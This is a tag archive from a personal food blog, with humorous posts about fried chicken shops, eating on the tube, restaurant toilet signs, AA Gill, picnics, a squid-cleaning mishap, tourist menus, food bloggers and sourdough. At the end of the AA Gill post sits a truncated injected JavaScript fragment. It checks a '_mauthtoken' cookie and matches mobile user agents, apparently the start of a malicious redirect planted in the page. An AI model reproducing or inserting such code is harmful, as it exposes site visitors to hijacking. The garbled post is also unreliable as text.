Tag Archives: restaurants

Chicken, tubes and toilets

In the spirit of ‘Blue Monday‘, here are three foodie sights that consistently depress me:

1. Queues outside South London’s multitudinous purveyors of fried chicken

Step forward all you Chicken Shacks, Chicken Huts, Chicken Expresses and Chicken Dinnerz. From 6pm onwards, these places do a roaring trade in low-quality, low-welfare, saturated fat-laden chicken dinners, all pitched at eye-wateringly low prices.

Perhaps more dispiriting are the trails of gnawed chicken bones, discarded on the pavement Hansel and Gretel-style, so that diners can always find their way back. Are the same people queuing day after day? Or are huge numbers of repeat customers treating themselves week in, week out? I can only hope it’s the latter.

2. People who sit down to lunch on the tube

Let me be clear: it’s not eating on the tube per se that upsets me – I hold no truck with peckish travellers who snatch snacks en route to their destination, nor do I object to a perceived lack of consideration for others (unless the all-pervasive Red Bull is involved).

What gets me down is seeing someone who gives every impression that the tube is their idea of the perfect dining location. The culprits are usually men who sit in near-empty carriages at lunchtime, with straight back and feet firmly planted on the floor. They’ll carefully arrange their belongings on the seat to their left and place a crisp, brown paper bag on the seat to their right, from which they’ll reverentially extract some item – a sandwich, a burger, or whatever – before tucking into it with gusto, as if they’ve been waiting all day for this movable feast. Park bench, anyone?

3. The misery of unusual toilet signs in restaurants and bars

I am among the people who – inadvisedly, I know – always wait until the last possible moment to pop to the loo. Alcohol only serves to hinder my judgement in such a matter. So imagine the gnashing of teeth and crossing of legs that ensue when I’m in a bar and encounter any of the following on the toilet doors: a reproduction of a curly-haired Botticelli madonna, versus a curly-haired Regency-era prince; an intricate sketch of a dapper Edwardian gentleman, complete with umbrella, paunch and Penny farthing, versus one of a fragrant Edwardian lady, complete with parasol, bustle and, yes, Penny farthing; an enigmatic letter that could feasibly be attributed to, say, either a lad or a lady; a cartoon of a male sheep/horse/earwig, versus a cartoon of a female sheep/horse/earwig…before you know it, you’ve wet yourself again, haven’t you?

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For once, The Blonde is not amused

It had to happen one day I suppose. AA Gill, Sunday Times critic and long-time personal literary crush, who I adore for his renegade resistance to all things hackneyed and his pursuit of phrases worth pasting into the scrap book of your mind and returning to time and again, has finally come face-to-face with cliché, his nemesis.

I’ve been in awe of Gill since I was a teenager, when I’d sit in the kitchen of my friend’s house, mildly hungover, reading the lighter side of their Sunday paper. There I encountered his restaurant reviews and felt the thrill of reading wit with which I could identify decanted from my jumbled mind and poured onto the page from an altogether more well-wrought vessel. It’s that same shiver you get from watching a good comic: the realisation of,  ‘That’s exactly what I think, but I could never have put it like that’.

From then on, I wanted to write and write until I was second to no one but AA Gill. When AA Gill was away, the Times would come to me, their BB Hill, for back-up. It hasn’t happened yet. But I still daydream of a time when I’ll be up there with Gill as an author with the kind of non-derivative witty turn of phrase that makes your eyeballs itch and your vision blur. Of course, I also envied Gill his lifestyle, and wanted to be the person dining at all those chic restaurants (minus Clarkson, obviously). But it was always his art that I most admired.

Recently however, the only glimpses I’ve had of Gill peeking out from behind that pay wall have been from reports of his antics in the wider media. When he’s not squeezing more mileage out of the old cliché of boys and their hunter instincts, he’s firing homophobic flares in Clare Balding’s direction

If his insulting label had been a little more memorable than ‘dyke on a bike’ then, who knows, Balding might grudgingly have given Gill a curt nod in the direction of novelty as she filed her complaint to the PCC. As it stands, his choice of targets begs the question: ‘Why can’t life imitate art?’if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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Shameless? Indiscreet? Moi?

Last night found me embracing the picnic aspect of the concert I went to at Kenwood house rather too enthusiastically.

No sooner had we settled on the grass among the other fans than I found myself – much to my boyfriend’s dismay – peering indiscreetly at other people’s picnics. In fact, before we’d even unpacked our own dinner, I had craned my neck this way and that and smugly rated the efforts of everyone around me.

There were the M&S devotees, rifling through their lime-green plastic bags and yanking open aggressively sealed plastic containers of Parma ham, hummus, and mozzarella balls with sun-dried tomatoes (then passing round the Percy Pigs). Yawn, I sighed.

Then there was the Waitrose camp, their Waitrose convenience food stored in convenient Waitrose cool bags (or else nestled in large designer hampers). They were tucking heartily into mini pork pies and posh-ly processed potato salads. They had all the gear – not only wine glasses but wine glass holders – but there was no… X-factor.

There was one pitiful girl sat spearing vegetables from a slab of couscous in her single Tupperware: everyone in her group was also guarding the one dish they’d brought along with them. I averted my eyes, embarrassed for them.

As for the couple in front of us, they were tucking into just one course: a bottle of red wine. Enough said.

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The tale of the squid and the mop

Let me tell you a little story about my teuthiphobia, how it started and how it led on to ichthyophobia. To do this I need to take you back in time to 2005…

In the autumn of 2005 I upped sticks to Spain to take a chance on my holiday romance. I spoke extreme beginners’ Spanish and took the first job I was offered in a tapas bar called La Factoria. In my ‘interview’ I smiled a lot and explained that I is been a mop many time at England pubs. The bar owner, who either took pity on me or saw that I represented an as yet undiscovered mine of hilarity, signed me up on the spot.

What I’d intended to convey in my interview was that I’d worked as a washer-upper for years. I love washing up in restaurants. For greedy people like me, the networking opportunities are second-to-none. You make friends with the chefs and you’re made: first dibs on all leftover trays of dauphinoise potatoes, the chance to try new concoctions as they’re being created, and the biggest portions when you stop for a lunch break. What’s more, you get all the insider gossip, a radio to listen to, zero contact with bossy paying customers, and you can wear whatever you want.

In the five years I worked as a kitchen porter, peeling buckets of spuds, making up oceans of stock, washing up towers of greasy plates, picking enough fish bones out of the drain to make entire skeletons, and working my way through vats of prawns and squid, I never once had a freak-out.

So I thought I could handle La Factoria. They came on strong – had me crawling into their huge, filthy oven to scrape out the grime with industrial-strength products on day one, insisted I chop a huge pile of parsley more and more finely until my spirit almost broke on day two, and made me clean the customer loos at two in the morning at the end of all of my shifts. But I could take it.

During the day, the owner (and head chef) would make small talk with the sous-chef and I’d scrape up any conversational crumbs I could decipher. Occasionally I’d take a deep breath and blunder through the odd sentence or two. At those times, everyone would stop and watch me intently – and disconcertingly – as I spoke. When I’d finished, they would address me as – well, as an English person would address a non-English speaker – like an old lady who’s as deaf as a post.

During the evening, I learnt to keep my head down and wow them with my productivity. I was routinely trotted out by the head chef as an overseas curiosity, where I would smile and introduce myself as the new mop, but aside from that I kept myself to myself.

Then, just as I thought I was settling in and gaining the respect of my team, it happened. I’d been asked to clean a huge metal tray full of squid and got straight down to it, one by one: pull out the quill, rummage around for the beak, poke out the eyes, done, onto the next.

Soon I’d got about halfway through the squid mountain and was on autopilot, consumed by the task in hand. Quill, beak, eyes, next. Quill, beak, eyes, next. Quiiiiii…… Suddenly, before I could process what was happening, I was making a low, disgusted noise that was somewhere between a roar and a moan, the audible equivalent of the air you expel furiously from your contaminated nostrils after tentatively sniffing the ‘mud’ on the sole of your shoe. Before I knew it, the squid I’d picked up was sailing in a high and graceful arc across the kitchen, watched curiously by the head and sous-chefs. It thudded onto the floor and skidded into a corner, while we all stared after it open-mouthed.

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Egg on your face

There’s nothing more likely to make my appetite turn on its heels and effect a hasty exit than the sight of rows of tourist restaurants unflinchingly displaying their menu in chilling technicolour. Finger lickin’ it ain’t.

I generally avoid such places like the plague. Unfortunately, some resorts in Gran Canaria are, well, plagued by them. One day, with lead in my stomach, I was forced by hunger and lack of forethought to stop and try to digest something from the happy hour hub of the island. The burden fell to me to find the least terrifying restaurant option, a task so Herculean that it would have been easier to raze the place single-handedly and set up my own venture on the ruins.

What is the collective noun for a mass of unappetising eatery options? A gag of restaurants? And what criteria does one assess when choosing amongst them? Anybody already eating here, especially anyone apparently savouring their meal, had to be either addled by sunstroke or fundamentally lacking not only in taste but in taste buds. No restaurant was fuller than the others. The photos, like illustrative icebergs, revealed only a tenth of the awful might of the dishes.

We ended up plumping for a café whose menu told the story of an ovine invasion of Germany (all Frankfurter variations came with an optional fried egg). The dishes were, quite literally, a picture. We sat in the sun, surrounded by a gallery of food mug-shots: gastro-combos that could only have been photographed by a tripped-out student trying to recreate his hallucinations through the medium of food. Faces with frankfurter smiles gurned at us like Chuckie’s plainer siblings.

Bockwurst Kartoffelsalat (fried egg optional)

All together now: mmm...

The level of detail was breathtaking: eyes and eyebrows rendered in food; noses with nostrils. We wept.

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The rise of the citizen critic

I wrote this in March 2009 and thought I might as well publish it here…

Jay Rayner used to let foodie friend Simon Majumdar tag along to the restaurants he reviewed. He even allowed Simon to write about the food in his blog. But since Simon’s blog took off, things have changed.

Majumdar, one half of celebrated blog doshermanos.co.uk, explains how bloggers’ influence has rattled newspaper critics’ nerves.

“When I started the blog, I could write about [restaurants] and they didn’t care. But slowly, when they posted their reviews, people emailed us that they were copying the Dos Hermanos review. They now ask me not to write about the restaurant until they’ve written about it.”

The restaurant industry has been knocked sideways by a tide of foodie bloggers, led by success stories like the Majumdar brothers, who publish to committed networks of readers and fellow bloggers. Rayner even voiced fears that bloggers may one day render the newspaper critic’s role redundant.

‘When opinions are freely available all over the web,’ he wrote in July 2008, ‘the newspaper critic is becoming regarded as rather more of a luxury than many publishers feel they can afford.’

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Give us this day our daily bread, our first Le Creuset and an invitation to a posh meal out

A fantastic foodie day, nay – weekend.

Friday night: baked homemade sourdough bread for the first time, then lamented that it had taken me until so late in life to get around to doing such a ludicrously easy and smugly satisfying thing. The friends I’d invited over for dinner mistook me for a domestic goddess because, due to a hectic week that had led me to put off the baking again and again, the timing of the freshly baked bread coming out of the oven coincided exactly with their arrival. I insisted that it was my first time and by no means a regular occurrence, but they swatted away my protestations as modesty. Hey ho, goddess it is then. We sliced it and dipped it in homemade pesto as a starter and it was heaven.

Saturday am: spolit said friends by whipping up scrambled eggs on sourdough toast for breakfast. They’re sensitive gluttons – unwilling to resist delicious food but equally unwilling to think about what devilish ingredients have made it so damn edible. So I hid diligently in the kitchen to pour in the tub of cream and coax the eggs to fluffy perfection. The sensitive gluttons only saw the cold knob of butter being stirred in at the end and so enjoyed the finished dish unquestioningly. The sourdough made great toast too.

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